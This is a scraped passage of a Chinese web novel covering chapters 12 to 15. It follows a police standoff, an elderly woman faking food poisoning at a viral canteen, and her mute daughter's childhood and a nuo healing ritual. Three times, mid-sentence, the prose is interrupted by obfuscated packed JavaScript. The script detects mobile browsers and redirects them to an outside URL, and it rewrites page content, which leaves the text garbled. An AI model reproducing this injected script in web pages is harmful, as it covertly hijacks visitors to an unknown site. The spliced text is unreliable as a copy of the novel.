等刘波带人赶过来时,陈秋池已经被挤到路旁高高的花池上,苏鹤站在花池下伸着胳膊护在她面前。 她本就长得高,此刻越发像从泥土里拔出的纤细竹子,就这么直挺挺地矗着,平静又耐心地劝说着。 哪怕面前是快要戳到脸上的手机镜头,哪怕剑拔弩张下一秒就有可能意外。 “大家请冷静。方月华涉嫌杀人,正在被警方依法审讯中,至于他与其他人的债务纠纷,相关人可以另外提起民事诉讼……” “你们把方月华抓起来,他的钱肯定就被国家没收了,他没钱还给唐继业,我们的钱也拿不到。” “他们要是把唐继业也抓走了,那更没人还我们钱了。” “对对对!不能让他们把唐继业带走!” “必须把方月华放了!” 一时群情激愤,几只手高高举起试图去抓陈秋池的胳膊…… 刘波看到这一幕时,火气咻的一下冲到脑壳顶,指甲狠狠插进肉里感觉到痛这才缓过来。他大喊道:“我是滨海分局刑事警察大队的副队长,大家有什么诉求可以和我一起去局里坐下来好好谈谈。” 所有人齐刷刷转过身来,这才发现一群警察围了过来。 陈秋池越过人群看到刘波满是担忧的脸,抿了下唇,低下头拍了拍苏鹤的肩膀,“我们去找唐继业。” - “陈警官,真是不好意思。我也不知道他们怎么会去把你们围起来?!我倒是想过去帮忙,但这群人为了钱什么事都能干出来,我怕他们见到我就会打死我。” 唐继业满脸惊恐地道歉,泡茶的手却稳极了,麻溜地洗杯冲泡…… 陈秋池制止了他,冷声道:“唐继业,你倒是打了一手好算盘。” 唐继业眨了眨眼睛,挠了挠没有头发的头皮,“您这是什么意思?” “你以为方月华现在被抓起来,你就可以为所欲为地往他身上栽债务?是你欠了这些供应商的钱,你才是偿还主体,至于你和方月华之间的债务纠纷,只你拿出真实可靠的证据,法官自然会给你公平判定。” “你这样费尽心思把水搅浑,是想遮掩什么吗?” 13. 第13章 距离新安市两千公里之外的何家巷,是黔北老城三街六巷格局中仅存的“一街两巷”之一。以前这条不足200米的巷子两侧栽种着樱桃树,所以又叫樱桃巷。现在当然看不到樱桃树,连巷名也被这条街的大户姓氏给霸占了。 不管这条巷子过去如何,它被浩瀚的历史潮流冲刷后还保留着街巷骨架实属难得。两侧老房子也苟延残喘到了现在,哪怕快要坍塌,也是历史街区保护者眼里的香饽饽。 城市建设者们更是把它们当做“下蛋鸡”,投点儿钱加固加固,加点儿灯提提氛围,造点儿景升升档次,节假日再搞点国风表演,立马成了游客眼中怀念旧时光的网红打卡点。 所有人都满意了,只有何家巷的住户们非常不高兴:一到放假就被游客堵在家里出不去,搁谁能开心啊? 尤其藏在何家巷犄角旮旯的长者食堂意外被游客发现后,原本每天只有数十个本地老年人吃饭的地方立马被乌央乌央的CITYWALKERS占领,住户们的“不高兴”上升为“愤怒”。 食堂热度从六月份持续到八月份,恰逢其对面攀爬着的三角梅从一楼开到三楼,足足十来米高,不过几天也成了红遍各平台的最美花瀑。 双重地标,双倍流量。它们在“万物皆能被打卡”的新媒体时代竟然超越老房子们成了何家巷新晋网红地。 旅游带货主播们在这里摆摊叫卖旅游线路和旅游特产,游客则高举自拍杆,冲向这处“价格低谷”和“颜值高谷”,大力夸赞黔北政府适老建设顶呱呱,菜品便宜得像不要钱,怎么吃怎么香。他们一边吃十元餐,一边欣赏窗外的花瀑,倒是把常来吃饭的老头老太太们挤去了门外排队。 - 王庆芬藏在花瀑后,冷冷看着楼下这群吵吵闹闹的年轻人们。 她的手枯瘦如柴,却很有劲儿。两根紧绷的不锈钢防盗钢丝被她捏在一起,露出略大的空档,阳光像一台无情的钻机,穿过密密匝匝的花瓣,擦破她面无表情的脸,将身后暗沉的客厅钻出一道长长的裂缝。 一本翻烂的字典就在这裂缝中。 平日这个时间点,她会下楼去对面食堂吃十元午饭,再沿着七拐八扭的巷子溜达着消消食,到家了再翻翻字典学几个字以免老年痴呆。 她年近六十,可身体远不如巷子里那些七八十岁的老太太健朗。四十来岁就因为长期劳累得了腰间盘突出,随着年岁增加越发严重,她现在从家里走到对面食堂也要花上十几分钟时间,还要时不时停下来休息。按理说腰不好就要多躺,可她偏偏坐不住,生怕在家躺多了彻底成了瘫痪。 牙齿也不好,大牙掉了一大半,只能勉强用留下的残根配合着门牙咀嚼,吃得又慢又挑剔,便民食堂开业以来,属她投诉最多,不是说人家肉不够软烂,就是饭难吃得要命。她还将靠窗的那个位置自主占为专属座位,甚至放了坐垫,谁都不能碰,不能挪。 如今,她的位置早被这群不速之客们霸占了。她喜静,种攀爬能力强的三角梅本意是为了阻挡对面楼房邻居的窥探,现在却因为长势太好,让她和她的家每天出现在无数陌生人的镜头里。 但凡她在阳台上挂个拖把,晒个裤衩,就被网友们指责为美景的破坏者。这群有好日子不过偏□□吃苦的特种兵,不管白天夜晚,任何时候都能出现,大笑,拍照,欢呼,在她的眼皮子底下散发着蓬勃朝气,分明在嘲笑她只剩下失眠、疼痛、孤寂的暮日残年。 简直忍无可忍。 - 腥膻味从厨房里渐渐窜了过来,王庆芬胸口一窒,后腰已经变形的脊柱瞬间感应到了,突然疼得厉害。她缓了几口气,慢慢转过身来朝厨房走去。 锅里只煮了一小块羊肉。这显然不是本地的麻羊,是较为便宜的绵羊。麻羊更腥膻些,不过这也够用了。待肉煮好,切成片,王庆芬把它装进塑料袋里。 她住二楼,两房一厅,一个人住。最大的那间卧室常年锁着,钥匙被她贴身藏挂在腰上,除了她,谁也没进去过。 她每年会独自待在这个房间一整天,从早到晚,不吃不喝。剩余的364天,她则像一个看门人,守着这间房,守着自己余下的死沉的每一天。 光线渐渐偏移。早过了饭点,可对面的食堂摆出本地人好客的姿态,顺应当前“讨好式”旅游模式,依然开门营业。 王庆芬扶着栏杆,一步一步挪着腿,花了八分钟才走到一楼门口。铁门外闪过一簇又一簇的游客。她低头拿出一块羊肉塞进嘴里,还没咀嚼完又塞进一块,直到全部吞下,腥膻味像被松开口的气球一边发出尖锐的鸣叫声一边迅速干瘪着,在腹腔内上窜下跳,肝胆胃肠瞬间翻山倒海…… 拧开锁,推开门,她猛然进入了众多人的镜头里。 铺天盖地红艳如日的花瀑旁杵着一个面色不虞的老女人,张扬与阴沉,新鲜与过期,娇花与衰女……王庆芬像扫兴的闯入者,打碎了浪漫蓬勃的氛围。 所有镜头下意识挪开了。 众目睽睽中,她无视长长的排队,跨过充斥着年轻荷尔蒙的狭窄小巷,在“便民食堂”四字匾额下,仰头喝下一碗免费绿豆汤,不多时,她便当着所有游客的面吐了个天昏地暗。 - 何家巷属于黔北老城街道管辖范围。正值暑假旅游高峰期,便民食堂作为网红打卡地竟然出现食品安全问题,街道综合执法中队队长被吓出了一身冷汗,第一时间赶到现场查看情况。 人从众的便民食堂此时大门紧闭,外面摆着停业休息的提示牌。很多人在现场目睹那位可怜的老太太把腌臜物吐得到处都是,现在也觉得自己胸口极度不舒服,在吐和不吐的边缘疯狂摇摆,为此纷纷围在门口要负责人给个说法。还有更多不嫌事大的人们举着手机录像,誓要把这一突发事件记录在案,好去网上曝光,还原真相。 还是队长有经验。二话不说立马协调最近的黔北人民医院,开通专属医疗通道,让今天在便民食堂就餐的人凭小票免费检查,若是有问题一切费用政府承担。 他站在众人的直播镜头里,表情十分愧疚,连连朝大家鞠躬道歉,并承诺立马开展街道食品安全大检查,务必将问题扼杀在摇篮里。同时街道还在何家巷巷口安排了文创品赠送活动,希望能弥补这次突发事件对大家的影响。 兴也新媒体,败也新媒体。队长深知这一点,看着面前一个个高高举起的直播镜头,他不能烦,不能厌,还要根据发言内容把表情控制在一个适度、适合、适中的维度,毕竟上一个在车祸现场微笑的领导早被网友扒了皮,送进了局子。 一系列操作后,他又赶紧驱车前往黔北人民医院慰问那位吐得惊天动地的老太太。好几辆车紧跟其后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14284755|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直播镜头从车窗探出来,让他的一举一动无处躲藏。 食堂负责人灰头土脸地站在病房门口,瞧见黑着脸的队长,立马委屈地不得了。 “队长,是王庆芬。” 这个名字如雷贯耳,队长一听就明白了。 当初便民食堂选址在更为合适的巷西108号,就是这个王庆芬天天去街道办公大楼纠缠不休,逼着街道领导把食堂安在她家对面,不然她就从办公楼跳下去。结果当然遂她所愿。 前段时间便民食堂意外走红。游客的热情不能伤害,那可是数倍的社会经济效益,街道非常重视,不仅加强了便民食堂的菜品管理,甚至还增派了服务员和安保人员。王庆芬见状,天天打12345热线投诉。投诉无果后,现在竟然搞出这么大动静。 “她就在食堂喝了碗绿豆汤,吐的也是羊肉什么的,我们便民食堂哪里供得起羊肉……”负责人还不忘给队长描述他是如何忍着恶心把她吐的东西捡起来闻了闻。 队长也想吐了,他赶紧摆摆手。现在说什么都没用,游客只相信自己看到的。吐了就是吐了,哪管她吐的是什么。 目前能做的,只能是把人先稳住。 “她还有什么亲戚朋友吗?” “听说她老公早都死了,有个女儿在外地,但好多年没回来过了。这么孤僻难搞的性格,亲闺女都受不了,何况其他人。” 队长点点头,深吸一口气推开房门,一脸沉痛地走了进去,门外数个直播镜头被挡在了外面。 那个枯瘦干瘪的人此刻背对着所有人站在窗边。 一枝金桂从外面探进头来。 前段时间黔北气温持续走高,桂花还处于休眠状态,这两天冷空气过境,温度降至23度左右,桂花竟一夜之间开满了枝头。聚伞花序一簇又一簇,散发着齁人的香甜。 王庆芬微微垂着眸,抬起指腹抚上去,不成想一阵风突然吹来,金黄桂花悉数跌落,其中一朵被防盗窗的钢丝吊住了伞头,花梗在空中轻微荡了几下后,扯着花冠一同坠下去,一会便不见了踪影。 隔壁病床的人正在刷抖音。 “注意!这个女人叫李重,这个男人叫方月华,他们本是一对恩爱夫妻,是什么让他们反目成仇?是什么让丈夫狠心吊死了妻子?还敢用直播的形式在大庭广众之下杀妻?现在就由我为大家揭秘就发生在昨天的诡异杀妻案的真面目。” “李重和方月华都是黔北人。黔北人爱吃羊肉粉,爱喝羊汤,这对夫妻感情好的时候,方月华会给李重做羊汤,每次李重都会喝得底朝天。然而,这些都是方月华的伪装……” 这段在网上闹得沸沸扬扬的直播杀妻视频从昨天到现在一直霸占各平台热搜。只要有手机,喜欢刷视频的人几乎都看过这段。队长也不例外。 杀人者和被杀者都是黔北人。但,是个黔北人都不愿意沾上这样的“流量”。 “我根据之前网友们提供的信息,梳理了李重的成长经历。她从小在地质大院长大,父亲是地质员,母亲在黔北遵龙镇开了一家羊肉粉店。这家店可是开了二十年的老字号,在当地非常出名。这家店现在还在营业,只不过李重的母亲在九年前把店铺转让出去。老板换了,味道正不正宗咱就不知道了,感兴趣的朋友可以去打个卡。哦,对了,店铺名字叫王庆芬羊肉粉……” 14. 第14章 李重啊。 你曾经在家里的角落里发现一张母亲年轻时的照片。 黑白底上一个温润可爱的女孩子,两道粗壮的麻花辫搭在胸前,笑呵呵地把眉眼弯着。据说这张照片是母亲专门去照相馆拍的,送给当初还在天柱找矿的你的父亲。结果父亲连看都没看,就答应从天柱回去后就和母亲结婚。 后来,母亲的麻花辫变成了时髦的小烫卷,再后来变成了可以省点洗发水的短发。再后来这头短发天天和羊肉粉的味道纠缠在一起,不管怎么洗都一股子膻味。 母亲也极少笑,不过三十岁,因为天天垮着脸,法令纹悄悄在脸颊上落了户,越发显得苦老。 你父亲倒是活得滋润,鸭溪酱酒不能断,每日两顿,每顿二两。除此之外就是去大队部点个卯,喝点茶,整理下资料,工资不发也没事,反正有吃有喝,他要求不高。 你依旧不会说话。你母亲狠狠心借了王阿姨的钱把你带到贵阳大医院,花了一堆钱做检查,结果你哪哪儿都没问题,不会说话大概率是因为你自己不想说话。 你母亲气得还没出医院就把你揍了一顿。你只是默默掉眼泪,连个痛字都不会说,你母亲更生气,“养你两年多连个妈都没听到,我养只狗还能听到它狗叫两声。” 她气急败坏抱着你去火车站往家赶。火车站又大又热闹,是你从未见过的盛况。你脸上还挂着泪,眼珠子却滴溜溜到处看,看高楼,看汽车,看人们就地躺在广场上睡觉。 从贵阳到黔北这趟火车是主干线,黑压压的人堵在车厢狭窄的入口。强壮的男人们抢行挤在门口,把自己人和货物往里塞。吵闹声、叫骂声夹杂着工作人员的斥责声,你母亲抱着你被生生挤了出去。 她欲哭无泪,实在太累了,没力气了。 汗水从额头流到脖子里,她把你从怀里丢到地上,往后退了几步。 你仰起头看着她,她居高临下地看着你。 站台上到处都是人,每个人的眼睛都盯着火车,试图往里钻,没人注意到你们这对母女。 你母亲像是在做什么决定,她眉头狠狠皱着,法令纹也凹成了沟壑…… 李重啊,你当时有感知吗? 那天刚入秋,天已经凉下来了,可你母亲流着汗,把手提袋紧紧攥着,却没攥你的手。 你那么小,忙于挤塞的人们稍微一个撞击你就有可能跌到站台下。 她就这么看着你。任你站在那里。 她猛然转过身,脚尖冲着车厢门口…… “大姐,大姐,你把你小孩从这里塞进来。”一个热情的女孩把头从车窗里探出来,朝你们使劲招手。 她距离你们有三个车窗,七八米远。 你母亲回头看去。 女孩把手摇得更欢快了,她满脸的笑容,把初秋的凉意一下子驱散了。 你看到你母亲紧绷的脸骤然松弛下来,好似对方是天使。 你从车窗先被塞进车厢,你母亲擦着汗站在车窗外连连朝好心女孩道谢。 车笛声撕心裂肺地响起…… 你一瞬不瞬盯着你母亲,喉咙突然发痒,粘在一起的上下唇怎么都分不开。你越急越分不开,眼泪便开始往外流。 你母亲把手从车窗外伸进去,胡乱帮你擦掉眼泪,嫌弃地说:“哭得难看死了。妈妈马上上来。” - 从贵阳回来后,你变得更加黏人。你总拉着你母亲的衣角,像个小尾巴一样。她很嫌弃你,动不动扯开你的小手,可你不管不顾地还是伸过去,紧紧攥着,怎么都不肯松开。 有时她生意差心情不好,更嫌你累赘,对着你吼叫,你便仰起头朝她默默流眼泪。她愣怔片刻后,总会把你拽到怀里,用脏兮兮的围裙使劲擦拭你的小脸,骂天骂地却没再骂你。 生意不错时,她会给老陀下碗粉,不收他钱,条件是让他教你认字。 你虽然到了上地质队幼儿园的年龄,但你不会说话,你母亲求了半天,幼儿园园长就是不愿意收你。你父亲压根指望不上,你母亲一提这事他就摆手,说自己没空教。 老陀见你母亲急得嘴上长泡,松了松一身懒骨头,道:“你把她重重交到他们手里,算是毁了她。我来教她吧。” “能识几个字就行,”你母亲表情晦暗,“别跟我一样是个睁眼瞎。” 老陀是遵龙镇这条主街上唯一相信你不是傻子的人。他领了任务,便找了一块缺了角的小黑板以及半包粉笔,就这么在街边有模有样开启了“李重专属小课堂”。 你有模有样地坐在小凳子上,看着黑板上的字,喉咙使劲磋磨着,却发不出任何声息。 老陀也不觉得这是个问题,照样大声教你念。 -关关雎鸠,在河之洲。 -纵浪大化中,不喜亦不惧。 -你富贵,你荣华,我自关门睡。 他教得毫无章法,随手拿到什么就教什么,也不管你听不听得懂。 三字经、aoe、ABC这三种启蒙教育流派的开端他压根没考虑。 他猛然把你甩进文字的海洋,历史的漩涡,不管不顾……半年后你依然不会写一个字。 街上人都偷偷嗤笑:大傻子教小傻子,傻到一起了。 有时候“大傻子”会在纸板上写一句:主人离开,无人值守。看书免费,买书留钱,然后带着你这个“小傻子”钻到竹林里,赤着脚淋着雨大念:“莫听穿林打叶声,何妨吟啸且徐行。”他念得激情彭拜,你只会啊啊啊啊,他边听边点头,还夸你年纪小小就掌握了平仄平平仄。 有时候老陀会把你拽到山里去捡秋,树叶、种子、坚果、蘑菇等等全不放过,他像个母猴子似的,背着你爬高上低,钻林过溪,渴了就喝山里的溪水,饿了就嚼两口野果,累了就直接躺草窝里。回来时,你顶着一头的草,一身的泥,献宝似的把采集的一束野花送到你母亲面前……彼时收工后的她累得面色灰白,瘫坐在凳子上。 你的蓬勃红润显然刺激了她,她冷漠道:“我不喜欢花。” - 你母亲看着老陀渐渐圆润的脸,再也忍无可忍,面刺他,“就算你吃我一碗羊肉粉,教会李重一个字,这半年时间她好歹也会写一两百个字了。” 老陀一点也没不好意思,把你叫过去,递给你一本泛黄的古代文选,“重重,翻到《关雎》,我念哪个字你指哪个字!” 你拿着书站在你母亲面前,小小的手指听从老陀的指挥,他念哪你指哪,一个也没错。 其实你母亲也不懂,可她见你和老陀,一老一小,一本正经,很像回事,总算把不满暂时克制下去,撇撇嘴又多在粉里加了一勺肉给老陀递过去。 老陀吃得嘴巴油乎乎的,冲你母亲眉飞色舞地说:“这条街上这么多小屁孩都来我这蹭书看,你见过谁能乖乖坐这里半个小时的吗?只有重重小可爱可以!屁股坐得住,能搞大事!” 你母亲没好气地白了他一眼,嘴里嫌弃说女孩家家能搞什么大事,晚上回去便跟你父亲提及老陀的论断。 你父亲刚刚灌了两口黄汤进去,美滋滋地咂吧着嘴,浑身都透着舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285550|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爽。 他刚听你母亲说了半句,便啪一声把酒杯砸下,满脸不屑。 “他就是个二流子,还是个爱装文化人的二流子。你要把他的话当回事,他敢把你卖了。到时候你哭都来不及。” 面前的这个你母亲当年喜欢的白面书生,如今黑黢黢的,油光敷面,没有宽阔的胸膛,更没有什么大志。但凡他还是年轻时候那张脸,你母亲可能会多信他几分。 她没接话,默默转过身去。 你睡觉时总爱攥着你外婆给你缝的小被子。白布包着四道边儿,中间蓝底红花,柔软又暖和,只是时间长了,白布边儿被你攥灰了色,还攥破了洞。 你母亲起身拿过针线盒,把你的手指轻轻掰开,你骤然睁开眼……她立马皱眉,把自己的衣角递过去塞进你的手里,“快睡!” 小花被摊在你的旁边,你不敢睁眼,睫毛微微颤抖着,听到针线穿入被子的声音,听到父亲砸吧嘴的声音,听到你母亲小声咕哝:“爱看书总不会错!” - 你没有朋友。 你甚至不知道朋友是什么? 大人们总会拎走那些试图跟你说话的小孩,而剩下那些愿意跟你说话的小孩,一边让你偷肉出来,一边在你摇头拒绝时骂你小傻子。所以他们应该不是朋友吧。 从春到秋,从冬到夏,你发现只有不会说话的书籍不会逼你偷肉,不会逼你张嘴说话,更不会嘲笑你。你和这些文字对面而坐,就像一对好朋友,你一点点认识它,它就会像涓流一样渐渐把这个世界流淌进你的身体里。 你以前以为遵龙镇有点大,黔北市很大,贵阳市更大,现在你知道了,书里的世界才是最大的。 跟着老陀一年后,你终于愿意拿起粉笔在黑板上写字。虽然歪歪扭扭,却有模有样。 母亲这才松了口气,老陀拿着碗去要“束脩”的次数更多了。 再后来,偶尔在你母亲得闲时,老陀故意把黑板上的字写的更大些,教你的声音喊的更大些,没多久你母亲认识了不少字。 老陀碗里的肉由此越冒越高。 - 1993年,你四岁。 这一年,你母亲在遵龙镇摆摊卖羊肉粉已经3个年头。你父亲终于迎来了他人生的新机缘。 有个姓罗的湖南老板不知道从哪里知道你父亲曾经在天柱找到储存量惊人的重晶石矿。罗老板在黔北最好的会所摆了一桌,把你父亲恭敬地引至尊贵的主位,请他出山找矿。 你父亲从毕业后就在地质队,见过大山大水,钻过密林幽沟,哪怕不用罗盘也不会迷路。他头一次走到贴满花岗岩的金碧辉煌的会所里,竟然迷了路。 罗老板人很和善,很谦卑,觥筹交错中不停尊称你父亲为大专家。 -第一次见到大专家就觉得您这双眼睛特别不一样!亮!真亮!跟孙悟空的火眼金睛似的。肯定能穿过地层,一眼就找到矿啊。 -说句掏心窝子的话,您这样的人才留在地质队简直就是暴殄天物。拿着死工资不说,听说您们的工作条件也比较差,哎呀,我简直心痛啊。要是我有这个荣幸请您出山,别说工资,就是您到哪都有专车接送,您想吃啥都有专门的厨师随时候着。 -只要找到矿,费用您来提,您来定,我坚决不还价。我要是少您一分钱我不姓罗。 -我们这些人上有老下有小的,可都盼望着您指条明路啊。 男人被女人夸赞会翘尾巴,若被其他男人夸赞会找不到北。 你父亲,在这一晚,迷路了两次。 15. 第15章 那晚你父亲被一辆桑塔纳送到了地质队。他许是不想让罗老板看到他住的是可怜土窝,坚决在大门口下车,踉跄着拎着两瓶茅台回到了家。 你母亲被他踹门的声音惊醒。他豪气地把一瓶茅台硬塞进你母亲的怀里,让她拿回去孝敬老丈人。 “哪来的?” “不用你管。明年你就不用去摆摊了。以后这个家我来养。” 你悄悄睁开眼,从被窝里偷瞄着你父亲。 他本就长得高大,此刻豪迈地挥舞着手臂,像一座山头长出了飞舞的触角。 母亲非常吃惊,还想多问他两句,父亲满脸不耐烦,让她不要多问。还叮嘱她一定不要在外面乱讲话。 - 那年冬天异常冷,你得了严重的风寒,手脚冰冷,却又发着高烧。母亲趁着没上客时提溜着你找了个摆摊卖药的。 对方是个仡佬族老头,偶尔从乡下来镇上摆摊。 他摸了摸你的小手,拿出几根灯芯草,蘸了蘸香油,又用火柴把灯芯草点亮,等了半分钟后,把火吹灭。 一缕微弱的白烟飘在空中,你呜咽着,连哭的力气都没了。 老头温和地摸了摸你的头顶,“不怕啊崽。马上就好起来了。” 他掀开你的后背,按了按某几个位置,迅速用还冒着火星的灯芯草灼过去。你嗷呜一声哭出来。母亲把你使劲夹在两腿间,朝你吼道:“别动!” 你使劲咬着牙,还真没再动。 老头自豪地说这叫什么七星灯火灸,是他们仡佬族独门秘法,非常适合治疗幼童发烧这种急症。 母亲麻溜把你的袄子塞好,“要不你来我摊位上吃碗羊肉粉,算是抵看病钱?” 老头不同意,母亲两眼一瞪说:“万一我给你钱了,我娃娃病没好怎么办?” 老头气得跳脚,说自己这方法治好村寨里好多小孩,你家崽保准一会就退烧。说到这里他从自己的兜里掏出不知道什么药丸子,麻溜塞进你的嘴里。 是甜的。很香。你忍不住嚼吧嚼吧吞了。 “哎!你给她乱吃什么东西?!”母亲急了。 老头没好气的说:“我不吃你羊肉粉。这药丸是我们秘制的,好处多得很。你崽要是有啥问题,我就坐在这里等你报警抓我!” 还真别说,不到一个小时你就退了烧。母亲爽快付了诊金,还悄悄问老头你的哑症能不能治? 老头看了看你的舌头和喉咙,得知你在大医院检查过,皱着眉头跟你母亲说:“冲个傩吧。” 母亲一愣,“啥?” 老头转身从身后的木箱子里小心翼翼拿出一个木制面具,陡然转过身,一张狰狞的脸赫然出现在面前。 黝黑发亮的眼珠子张牙舞爪地突出来,两道扭曲獠牙挂在血唇外。似鬼非鬼,似神非神。 你小脸一白,往后缩到母亲的怀里。 母亲显然也吓了一跳。 老头说你应是受了邪气,冲犯了关煞,要请傩神搞一场冲傩仪式,你就应该可以张口说话了。 旁边有好事者凑过来非说老头的这些玩意是封建迷信,要是放在二十年前早被砸了。 老头又气得跺脚,他就是拼了老命才保护下来一套完整的傩戏面具,没让那些红小鬼砸了。要不是市文化馆的馆长请他前来探讨傩戏保护,他还真舍不得把这些宝贝拿出来。他大清早顺道来摆摊也不过是想把来回路费和住宿费给挣了。 有人还把话头往你母亲身上引,“刚才我就想说,你少卖两碗羊肉粉怎么了?就不能带上小傻……你闺女去医院看看,非要让这个卖狗皮膏药的看病,万一出了什么问题,哎呀,是不是刚好可以腾出个生育指标啊?” 这话说得极其难听,难听到你咻的一下从母亲怀里跳出来,气呼呼地瞪着对方阴阳怪气的脸。 “哎呦,我忘了你只是个哑巴,不是聋子。” “谁是卖狗皮膏药的?”老头再次气得跺脚,拍着胸口说:“我们仡佬族的医药是传承了几千年的民族瑰宝!瑰宝!懂不懂?!” “瑰宝”是老头从文化馆馆长嘴里听到的最多的词。他才学会,刚好现在用上。 母亲也非常不高兴,嗤笑两声,“别以为会狗叫两声就觉得自己是个人,警察都没你管得宽。” 说完拎起气成河豚的你走了。 - 翌日你母亲难得休息,找隔壁王阿姨借了二八大梁自行车,又找了邻居借了个竹椅绑在后座上,风风火火朝更远的乡下骑去。 六十里。单程。 你坐在后座,两只小手钻进母亲的棉袄里,在酷冷的寒风中贴着她炙热的皮肤。 上岗下坡,过桥穿洞,母亲载着你整整骑了六个小时才到那位仡佬族老头所在的村寨。 高山苗,水仲家,仡佬住在岩旮旯。 村寨三面靠山一面临水,云雾环绕中,你看到铺满整个山坡的吊脚楼。黑压压的一片又一片。近看,它们全建在层层叠叠的石基上,竖状条木撑着整座房子,一楼住着家畜,二楼上很多人正好奇地盯着你和你母亲。 这里是你从未见过的地方。 他们很友善,听说你们从遥远的市区一路骑行而来,赶紧领着你们去找那位老头。 老头姓林,是村里有名的端公。见到你们,他非常吃惊。得知来意,二话不说便答应。 此时天色已暗,各家吊脚楼上飘起了袅袅炊烟,酸汤诱人的香味扑鼻而来。 你踩着咯吱作响的木台阶走到二楼,像是瞬间坠入名为热情的世界。有人拿来暖热的毛巾把你的小脸擦干净,有人递过来晒干的肉条让你吃,有人把你抱在怀里揉着你的头发说真可爱。 老林头的几个孙子孙女躲在柱子后面偷偷瞄你。你不过是多看连他们两眼,对方就一窝蜂地围过来,硬拉着你从这间房跑到那间房,从那间房跑到楼下抚摸刚出生的小羊崽,而后直接跑出吊脚楼,去扒溪水上漂浮的冻冰。 他们知道你不能说话,可谁也没在意这件事。只顾着咕噜咕噜朝你介绍着村寨里好玩的一切事物。 直到昏黄的灯终于亮起来,你才依依不舍地从外面跑回来。 滚烫酸香的肉汤浇在玉米干饭上,简直把你香晕,你像一头小猪钻进大碗里吭哧吭哧吃个不停。 母亲皱起眉头,正想斥责你,可她听见大家都笑起来了,不是嘲笑的笑,是觉得你很可爱的笑。 她敏感的神经松弛下来,也跟着笑起来。 老林头让儿子抱来一个黑色坛子,里面存着杂酒。你好奇地看过去,数根空心细竹杆插在开头。 老林头先把酒坛递给你母亲。 你想起来,父亲喝酒的时候从不问母亲要不要一起尝尝。且母亲应是厌恶喝酒的。 今晚,她好像一直在笑,脸颊上的法令纹也被笑意填平了。 她没有拒绝,小心翼翼地咂吸了一口,立马瞪大眼睛说好喝。 老林头非常得意,“这是用大米、高粱、小米、小麦混在一起酿的。当然好喝。” 大家轮流咂吸,不论男女。若是快要喝干了,就再加水进去。谈话声、喝酒声、大笑声……热气腾腾,暖意昂扬,这是你从未感受过的,就像春天提前来到了这座吊脚楼。 喝着喝着有人开始唱歌了。 听不懂,但很好听。 有人唱,便有人跳,吊脚楼的木地板被蹦得哐哐作响,连你也被抱起来,跟着他们一起转圈,转圈。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295785|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >头很晕,但还想转。天旋地转中你瞥见母亲在笑,笑得异常漂亮。 - 第二天,村寨里的所有人都来了。枫香树下,摆放着一张大供桌。桌上供奉着傩公傩母两尊傩坛主神。香炉、供品自不必说,全摆得齐齐全全。除此之外,桌上还有油灯、宝剑、令牌,以及一个无敌巨大的牛角。 供桌右侧铺了一张竹席,席上摆放着上中下共72个傩神。 老林头黄色袍服披身,头裹艳红头巾,腰上绑着五彩条带,脸上罩着一张狰狞面具,与昨晚判若两人。除他之外,还有三五个不同装束不同面具的法师。 你不由攥住母亲的手。 她回攥着,指腹上潮热的温意爬上你的心头。 你被抱起放在供台前。狗锣哐哐响起,打破了村寨的寂静。 所有人都看着你。 你不敢动,不敢哭,也忘记了呼吸,像一具冰凉的小尸体。 老林头右手高高举起铁环,大铁环上套着好些个小铁环,随着抖动发出磬磬之音,紧接着他高高举起左手的大牛角。 低沉的呜鸣声从下推上,搅动诸天。 敲锣、开坛、请三神、念唱神,东西南北中五方邪神冲出来,端公跳着蹦着唱着,势要打破天罗地网,把你丢失的魂魄找回来。 戴上面具既是神。 灵官驱除邪神,先锋祈福纳祥,判官勾消良愿。 诸神加持,端公如神在人间,拥有无穷神力和无尽慈悲。 他们在你面前大开大合,吼叫连连,浓厚的烛烟从四面八方升腾起来,模糊了天和地的界限。 你仰起头,转过身,狰狞的面具在烛烟中时隐时现,地在震,山在摇,风在鼓…… 你很害怕,想后退,想躲藏,藏到哪里都行……藏到风里、水里、地缝里,或者昨晚那只羊妈妈温暖的腹底。 突然,旁边不知什么时候铺满了炙热的火炭,火舌舔食着寒风,瞬间把你的小脸烫热。端公高高举起他的法印,在擂鼓声中,赤脚走进那堆火炭,你把嘴张到最大,眼睁睁看着那火焰没过他的双脚,可这脚轻轻松松踩着火苗,踏着炙炭,毫发无伤地从这头走到那头。 高呼声骤响,锣鼓声震天,端公替神在人间留下了无上神迹。 紧接着,一株高耸入天的木柱出现了。你仰起头,怎么都看不到柱顶。 那些插入木桩的层层大刀,闪着银质光泽,一面又一面,直接插到了天上。 还没等你反应过来,端公用一根布带将你绑在了身后,你骤然腾空,离开地面,下一秒你已然攀爬上了那座刀山。 